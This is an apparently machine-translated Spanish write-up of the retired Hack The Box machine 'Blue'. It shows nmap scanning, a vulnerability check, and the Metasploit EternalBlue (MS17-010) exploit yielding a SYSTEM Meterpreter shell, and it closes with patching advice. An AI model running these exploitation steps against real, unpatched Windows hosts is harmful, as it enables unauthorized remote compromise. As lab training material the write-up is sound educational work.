Keep Calm and Hack The Box - Azul

Hack The Box (HTB) es una plataforma en línea que le permite probar sus habilidades de prueba de penetración.

Contiene varios desafíos que se actualizan constantemente. Algunos de ellos simulan escenarios del mundo real y otros se inclinan más hacia un estilo de desafío CTF.

Nota : Solo se permiten redacciones de máquinas HTB retiradas.

Blue es una de las máquinas más simples de Hack The Box. Pero demuestra el impacto del exploit EternalBlue, que se ha utilizado para comprometer a las empresas a través de ataques de ransomware y criptominería a gran escala.

Usaremos las siguientes herramientas para empeñar la caja en una caja Kali Linux:

  • nmap
  • búsqueda
  • metasploit
  • metropreter

Empecemos.

Primero, agrego Blue en el archivo / etc / hosts.

nano /etc/hosts

con

10.10.10.40 blue.htb

Paso 1 - Reconocimiento

El primer paso antes de explotar una máquina es hacer un poco de escaneo y reconocimiento.

Esta es una de las partes más importantes, ya que determinará qué puede intentar explotar después. Siempre es mejor dedicar más tiempo a esta fase para obtener la mayor cantidad de información posible.

Escaneo de puertos

Voy a utilizar Nmap (Red Mapper). Nmap es una utilidad gratuita y de código abierto para el descubrimiento de redes y la auditoría de seguridad.

Utiliza paquetes IP sin procesar para determinar qué hosts están disponibles en la red, qué servicios ofrecen esos hosts, qué sistemas operativos están ejecutando, qué tipo de filtros de paquetes / firewalls están en uso y docenas de otras características.

Hay muchos comandos que puede usar con esta herramienta para escanear la red. Si desea obtener más información al respecto, puede consultar la documentación aquí.

Utilizo el siguiente comando para realizar un escaneo intensivo:

nmap -A -v blue.htb

-A: habilita la detección del sistema operativo, detección de versiones, escaneo de scripts y traceroute

-v: aumenta el nivel de verbosidad

.htb azul : nombre de host para el cuadro azul

Si encuentra los resultados un poco abrumadores, puede intentar esto:

nmap blue.htb

Podemos ver que hay bastantes puertos abiertos que incluyen:

Puerto 445, intercambio de archivos SMB de Microsoft-DS (servicios de directorio)

Del escaneo de nmap, tenemos cierta información sobre el nombre de la computadora (haris-PC) y la versión SMB (2.02).

El Bloque de mensajes del servidor (SMB) es un protocolo de red que permite a los usuarios comunicarse con computadoras y servidores remotos para usar sus recursos o compartir, abrir y editar archivos.

Por el nombre de esta caja y que es una máquina Windows con el puerto 445 abierto, podemos asumir que la máquina es vulnerable a EternalBlue. Utilizo un script nmap para verificar esta información con lo siguiente:

nmap --script vuln -p 445 blue.htb

Podemos ver que el cuadro es vulnerable a una vulnerabilidad de ejecución remota de código en los servidores Microsoft SMBv1 (ms17-010).

Paso 2: comprensión de ms17-010

¿Qué es ms17-010?

EternalBlue es un exploit de ciberataque desarrollado por la Agencia de Seguridad Nacional de EE. UU. (NSA). Fue filtrado por el grupo de hackers Shadow Brokers el 14 de abril de 2017, un mes después de que Microsoft lanzara parches para la vulnerabilidad - Wikipedia

Usted puede leer más aquí. Esta vulnerabilidad se corrigió y figura en el boletín de seguridad de Microsoft como MS17-010.

EternalBlue permite a los piratas informáticos ejecutar de forma remota código arbitrario para obtener acceso a una red. Explota una vulnerabilidad en el protocolo SMB del sistema operativo Windows. El exploit puede comprometer toda la red y los dispositivos conectados a ella.

El malware que utiliza EternalBlue puede propagarse a través de las redes. En 2017, WannaCry, un cripto-ransomware, utilizó el exploit EternalBlue que se extendió por la red infectando todos los dispositivos conectados.

Paso 3 - Explotación de EternalBlue

Utilizo Searchsploit para comprobar si hay algún exploit conocido. Searchsploit es una herramienta de búsqueda de línea de comandos para Exploit Database.

Yo uso el siguiente comando:

searchsploit eternalblue

Puedo obtener más detalles sobre un exploit con:

searchsploit -x 41738.py

También puede consultar la base de datos de exploits para encontrar el exploit.

Hay un módulo Metasploit disponible.

Usaremos Metasploit , que es un marco de pruebas de penetración que simplifica la piratería. Es una herramienta esencial para muchos atacantes y defensores.

Inicio el Metasploit Framework en Kali y busco el comando debo utilizar para la explotan.

No olvide actualizar Metasploit cuando lo inicie con este comando:

msfupdate

También puede verificar si el objetivo es vulnerable a EternalBlue en Metasploit usando un auxiliar. Comience con este comando:

search eternalblue

entonces en ese caso

use 1

para seleccionar

auxiliary/scanner/smb/smb_ms17_010

Puedes consultar las opciones con

show options

y establecer RHOSTS con

set RHOSTS blue.htb

Luego ejecute el auxiliar con

run

¡Puede ver que es probable que el host sea vulnerable a MS17-010!

Comprobemos ahora el exploit con

use 2

o el comando

exploit/windows/smb/ms17_010_eternalblue

Necesitamos configurar las opciones para RHOSTS

y LHOST - el mío era 10.10.14.24. Deberá configurarlo con su propio LHOST. Puedes consultar el tuyo aquí.

Antes de ejecutar el exploit, puede verificar aquí si la máquina es vulnerable; esto ejecutará el auxiliar que usamos anteriormente con el comando

check

Luego ejecuto el exploit con

run

El exploit tuvo que ejecutarse varias veces antes de tener una sesión de Meterpreter .

Aquí está la definición de Meterpreter de Offensive Security:

Meterpreter es una carga útil avanzada y extensible dinámicamente que utiliza etapas de inyección de DLL en memoria y se extiende a través de la red en tiempo de ejecución. Se comunica a través del zócalo del stager y proporciona una API Ruby completa del lado del cliente. Cuenta con historial de comandos, finalización de pestañas, canales y más.

Puede leer más sobre Meterpreter aquí.

Comencemos recopilando información.

getuid devuelve el ID de usuario real del proceso de llamada.

La cuenta NT Authority \ SYSTEM o LocalSystem es una cuenta de Windows integrada. Es la cuenta más poderosa en una instancia local de Windows. Tenemos acceso de administrador en esa máquina.

Paso 4 : buscar el indicador user.txt

Navego a la carpeta haris desde Documents and Settings .

Puedo enumerar todos los archivos / carpetas con el siguiente comando:

ls -la

Luego me muevo al escritorio con

cd Desktop

¡Y encuentro la bandera de usuario! Puedo comprobar el contenido del archivo con

cat user.txt

Paso 5: buscar la marca root.txt

Busquemos la bandera raíz ahora. Navego hasta Usuarios y me registro en la carpeta Administrador / Escritorio . ¡Encuentro la bandera!

Utilizo el siguiente comando para ver el contenido del archivo:

cat root.txt

¡Felicidades! Encontraste ambas banderas.

Remediaciones

  • Parche sus dispositivos con la actualización de seguridad para Microsoft Windows SMB v1. Puede consultar el boletín de seguridad de Microsoft para ver qué sistemas operativos se ven afectados
  • Deshabilite SMB v1 y use SMB v2 o v3
  • Aplicar el principio de privilegio mínimo a todos sus sistemas y servicios

No dudes en comentar, hacer preguntas o compartir con tus amigos :)

Puedes ver más artículos de la serie Keep Calm y Hack the Box aquí.

Puedes seguirme en Twitter o en LinkedIn.

¡Y no olvides # GetSecure , # BeSecure & # StaySecure !